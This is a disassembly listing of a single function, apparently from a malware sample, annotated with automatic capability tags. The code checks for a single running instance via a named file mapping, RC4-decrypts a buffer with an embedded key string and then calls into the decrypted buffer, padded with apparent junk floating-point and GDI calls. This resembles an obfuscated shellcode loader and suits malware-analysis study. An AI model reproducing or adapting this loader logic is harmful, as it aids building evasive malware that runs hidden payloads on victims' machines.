Function at 0x10001ac0
Capabilities:
Encrypt data using rc4 ksa
Get common file path
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10011348
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x10017078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
push 0x190
mov dword [ebp - 0x34], eax
mov edi, ecx
call fcn.100028b9
add esp, 4
push eax
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push str.yxexvwsqgptvl
push 0x7d0
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
test esi, esi
je 0x10001b3d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10001b3d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.USER32.dll_GetActiveWindow]
push 0x104
push 0x10019228
push eax
mov dword [0x1001944c], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x10001b9c
mov al, byte [0x10019228]
xor esi, esi
mov ecx, 0x10019228
test al, al
je 0x10001b7d
lea ecx, [ecx]
movsx edx, al
mov al, byte [ecx + 1]
inc ecx
add esi, edx
test al, al
jne 0x10001b70
mov eax, 0x10121457
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x7f7
sub esi, eax
mov dword [0x100182bc], esi
xor eax, eax
mov dword [0x100182b8], 0xff659c58
jmp 0x10001bb0
mov dword [ebx + eax*4], eax
inc eax
cmp eax, 0x100
jb 0x10001bb0
mov ecx, dword [ebp + 8]
cmp dword [ecx], 0
je 0x10001f65
fld dword [0x100182a4]
mov dword [0x10019448], 0
fld st(0)
mov esi, 2
fld st(0)
lea ecx, [ebx + 8]
fld qword [0x100145c8]
fadd st(1), st(0)
fxch st(1)
fmul qword [0x10014620]
fdivp st(2)
fxch st(2)
fsub qword [0x10014618]
fdivp st(2)
fsubrp st(1)
fstp dword [0x100182b4]
mov edx, dword [ecx - 8]
mov dword [ebp - 0x30], edx
xor edx, edx
lea eax, [esi - 2]
div dword [edi]
movsx eax, byte [edx + 0x10019338]
add eax, dword [ebp - 0x30]
add eax, dword [0x10019448]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [0x10019448], eax
mov dword [ecx - 8], edx
mov edx, dword [ebp - 0x30]
mov dword [ebx + eax*4], edx
mov eax, dword [ecx - 4]
mov dword [ebp - 0x30], eax
xor edx, edx
lea eax, [esi - 1]
div dword [edi]
movsx eax, byte [edx + 0x10019338]
add eax, dword [ebp - 0x30]
add eax, dword [0x10019448]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [0x10019448], eax
mov dword [ecx - 4], edx
mov edx, dword [ebp - 0x30]
mov dword [ebx + eax*4], edx
mov eax, dword [ecx]
mov dword [ebp - 0x30], eax
xor edx, edx
mov eax, esi
div dword [edi]
movsx eax, byte [edx + 0x10019338]
add eax, dword [ebp - 0x30]
add eax, dword [0x10019448]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [0x10019448], eax
mov dword [ecx], edx
mov edx, dword [ebp - 0x30]
mov dword [ebx + eax*4], edx
mov eax, dword [ecx + 4]
mov dword [ebp - 0x30], eax
xor edx, edx
lea eax, [esi + 1]
div dword [edi]
movsx eax, byte [edx + 0x10019338]
add eax, dword [ebp - 0x30]
add eax, dword [0x10019448]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [0x10019448], eax
mov dword [ecx + 4], edx
mov edx, dword [ebp - 0x30]
mov dword [ebx + eax*4], edx
mov eax, dword [ecx + 8]
mov dword [ebp - 0x30], eax
xor edx, edx
lea eax, [esi + 2]
div dword [edi]
movsx eax, byte [edx + 0x10019338]
add eax, dword [ebp - 0x30]
add eax, dword [0x10019448]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [ecx + 8], edx
mov edx, dword [ebp - 0x30]
mov dword [ebx + eax*4], edx
mov dword [0x10019448], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x30], eax
xor edx, edx
lea eax, [esi + 3]
div dword [edi]
movsx eax, byte [edx + 0x10019338]
add eax, dword [ebp - 0x30]
add eax, dword [0x10019448]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [0x10019448], eax
mov dword [ecx + 0xc], edx
mov edx, dword [ebp - 0x30]
mov dword [ebx + eax*4], edx
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x30], eax
xor edx, edx
lea eax, [esi + 4]
div dword [edi]
add ecx, 0x20
movsx eax, byte [edx + 0x10019338]
add eax, dword [ebp - 0x30]
add eax, dword [0x10019448]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [ecx - 0x10], edx
mov edx, dword [ebp - 0x30]
mov dword [ebx + eax*4], edx
mov dword [0x10019448], eax
mov eax, dword [ecx - 0xc]
mov dword [ebp - 0x30], eax
xor edx, edx
lea eax, [esi + 5]
div dword [edi]
add esi, 8
movsx eax, byte [edx + 0x10019338]
add eax, dword [ebp - 0x30]
add eax, dword [0x10019448]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [ecx - 0xc], edx
mov edx, dword [ebp - 0x30]
mov dword [0x10019448], eax
mov dword [ebx + eax*4], edx
lea eax, [esi - 2]
cmp eax, 0x100
jb 0x10001c07
mov edi, 0x10
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
call fcn.10002390
xor esi, esi
push 0xa
mov eax, str.rlqtnrqwpx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], esi
call fcn.10002210
mov eax, dword [ebp - 0x1c]
cmp eax, 0x17
jae 0x10001e05
mov ecx, dword [ebp - 0x2c]
cmp dword [ebp - 0x18], edi
jae 0x10001df6
lea ecx, [ebp - 0x2c]
push eax
push ecx
push 0x10019228
call fcn.1000be20
add esp, 0xc
fld qword [0x10014610]
fstp qword [0x10019440]
cmp dword [0x100182b8], esi
jle 0x10001e25
mov dword [0x100182b8], 0x878
jmp 0x10001e31
fld dword [0x100184c8]
fstp dword [0x100182b4]
call fcn.10001120
mov edi, dword [ebp - 0x34]
lea ecx, [ebp - 0x3c]
push ecx
mov dword [edi], esi
call dword [sym.imp.USER32.dll_GetCursorPos]
mov edx, dword [ebp - 0x38]
push edx
push 0x10120
mov dword [ebp - 0x3c], 0x10120
call dword [sym.imp.USER32.dll_SetCursorPos]
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [0x100182b8], 0x64302
cmp dword [eax], edx
jbe 0x10001ec5
mov dword [0x100182b8], 0xffffff3e
jmp 0x10001e83
mov edi, dword [ebp - 0x34]
mov eax, dword [edi]
inc eax
and eax, 0xff
mov dword [edi], eax
mov ecx, dword [ebx + eax*4]
add esi, ecx
and esi, 0xff
mov edi, dword [ebx + esi*4]
mov dword [ebx + eax*4], edi
mov eax, dword [0x10019454]
mov dword [ebx + esi*4], ecx
mov edi, dword [eax]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov eax, dword [ebx + eax*4]
add eax, ecx
and eax, 0xff
mov cl, byte [ebx + eax*4]
xor byte [edi + edx], cl
mov eax, dword [ebp + 8]
inc edx
cmp edx, dword [eax]
jb 0x10001e80
push 0
push 0
push str.suqlmxqzwmbfds
push str.DISPLAY
mov dword [0x100184d0], 0xf
call dword [sym.imp.GDI32.dll_CreateDCA]
push 0x2e
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
sub eax, 0x2e
neg eax
sbb eax, eax
and eax, 0x103
inc eax
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
sub esp, 8
fstp dword [0x100184c8]
fld dword [0x100182a4]
fmul qword [0x10014608]
fdiv qword [0x10014600]
fstp dword [ebp - 0x30]
fld dword [ebp - 0x30]
fstp qword [esp]
call fcn.10002d80
fstp dword [ebp - 0x30]
fld dword [ebp - 0x30]
mov eax, 0x29
add esp, 8
fstp dword [0x100182b4]
cmp dword [0x100182b8], eax
jge 0x10001f49
mov dword [0x100182b8], eax
mov ecx, dword [0x10019454]
mov edx, dword [ecx]
call edx
cmp dword [ebp - 0x18], 0x10
jb 0x10001f65
mov eax, dword [ebp - 0x2c]
push eax
call fcn.100030be
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100028c4
mov esp, ebp
pop ebp
ret